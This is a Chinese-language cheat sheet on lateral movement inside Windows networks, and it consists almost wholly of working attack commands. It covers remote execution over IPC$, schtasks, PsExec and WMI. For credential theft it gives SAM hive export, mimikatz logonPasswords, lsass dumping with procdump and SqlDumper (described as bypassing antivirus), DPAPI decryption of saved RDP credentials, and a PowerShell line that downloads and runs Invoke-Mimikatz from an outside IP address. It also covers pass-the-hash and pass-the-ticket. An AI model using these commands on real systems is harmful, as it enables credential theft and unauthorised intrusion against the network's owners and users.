内网横向总结
IPC$ 及定时任务
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等。
执行如下命令,建立一个 ipc$
net use \\192.168.52.133\ipc$ "密码" /user:用户名
然后使用 net use 命令查看已建立的连接
命令列表
dir
dir \\192.168.52.133\c$
tasklist
tasklist /S 192.168.52.133 /U 用户名 /P 密码
net time
net time \\192.168.52.133
copy
copy test.bat \\192.168.52.133\c$
type
type \\192.168.52.133\c$\1.txt
计划任务
at 命令创建计划任务
at 命令适用于 Windows Server 2008 之前的版本。
获取目标机器时间后,使用 at 命令让目标主机在指定时间运行一个程序
at \\192.168.52.133 22:58PM cmd.exe /c "ipconfig > c:/1.txt"
schtasks 命令创建计划任务
schtasks 适用于 Windows Vista、Windows Server 2008 及之后的版本。schtasks 命令比 at 更灵活。
在远程主机上创建一个名称 “test” 的计划任务,该计划任务开机时启动,启动程序为c:\test.bat,启动权限为 system
schtasks /create /s 192.168.52.133 /u 用户名 /p 密码 /tn test /sc onstart /tr c:\test.bat /ru system /f
手动触发计划任务
schtasks /run /s 192.168.52.133 /u 用户名 /p 密码 /i /tn "test"
使用 type 命令读取结果
type \\192.168.52.133\c$\1.txt
密码抓取
GetPass 工具
直接运行即可获得明文密码
通过 SAM 和 System 文件抓取密码
导出 SAM 和 System 文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
离线使用 mimikatz 读取 SAM 和 System 文件
mimikatz 在线读取 SAM 文件
在 mimikatz 目录打开命令行环境,输入如下命令,在线读取散列值及明文密码
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonPasswords"
mimikatz 离线读取 lsass.dmp 文件
Procdump.exe
Procdump 是微软的工具,可以绕过大多数杀软。
使用该软件将 lsass.exe 进程 dump 下来
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
使用相同版本的操作系统读取密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
SqlDumper.exe
SqlDumper.exe 也是微软出品,可绕过大多数杀软。默认存放在 C:\Program Files\Microsoft SQL Server\number\Shared,number代表 SQL Server 的版本。
如果目标机器没有安装 SQL Server,可以自己上传 SqlDumper.exe。
查看 lsass.exe 的 PID 号,并使用该软件将 lsass.exe 进程 dump 下来
tasklist /svc | findstr lsass.exe
Sqldumper.exe ProcessID 0 0x01100
把生成的 mdmp 文件下载到本地,用相同的操作系统打开
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
获取 RDP 连接保存的密码
查看 RDP 连接保存的凭证文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
使用 mimikatz 获取 guidMasterKey
查找对应的 Masterkey(似乎要用CS执行)
mimikatz sekurlsa::dpapi
使用 MasterKey 解密凭证
mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\7B37B5579DDADD715CF04039E68F041B /masterkey:092a4c187aa5b2c2b661cd20ffb0eb546a5a1d5a002acb170e294acfe89b905663e6b24dbe9fb1b86782b7d5ad170a681f0781649cfff79de6c3929c5d2a8cd5
Powershell 远程加载 mimikatz 抓密码
远程调用 PowerSpolit 下面的 Invoke-Mimikaz.ps1 模块
powershell IEX (New-Object Net.WebClient).DownloadString('http://114.115.156.105:8889/ps/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
哈希传递
使用 NTLM Hash 进行哈希传递
在目标机器中,执行如下命令
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:billow.com /ntlm:739d50e8f638206c12e0958372cafb94"
此时会弹出 cmd.exe,在命令行环境中尝试列出域控制器C盘的内容
票据传递
使用 mimikatz 进行票据传递
使用 mimikatz 将内存中的票据导出
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
将票据注入内存
mimikatz.exe "kerberos::ptt "C:\Users\administrator.BILLOW\Desktop\[0;2b94f9]-2-0-60a10000-Administrator@krbtgt-BILLOW.COM.kirbi"
列出远程计算机系统的文件目录
dir \\dc\c$
PsExec 的使用
在建立了 ipc$ 的情况下,执行如下命令,获取 System 权限的 shell
PsExec.exe -accepteula \\192.168.1.1 -s cmd.exe
如果没有建立 ipc$,可通过以下方式建立建远程连接
PsExec.exe -accepteula \\192.168.1.1 -u administrator -p password -s cmd.exe
WMI 的使用
输入如下命令连接远程主机并执行命令
wmic /node:192.168.1.1 /user:administrator /password:密码 process call create "cmd.exe /c ipconfig > c:\ip.txt"
wmic 执行没有回显,需要配合 ipc$ 连接后使用 type 命令读取
type \\192.168.1.1\c$\ip.txt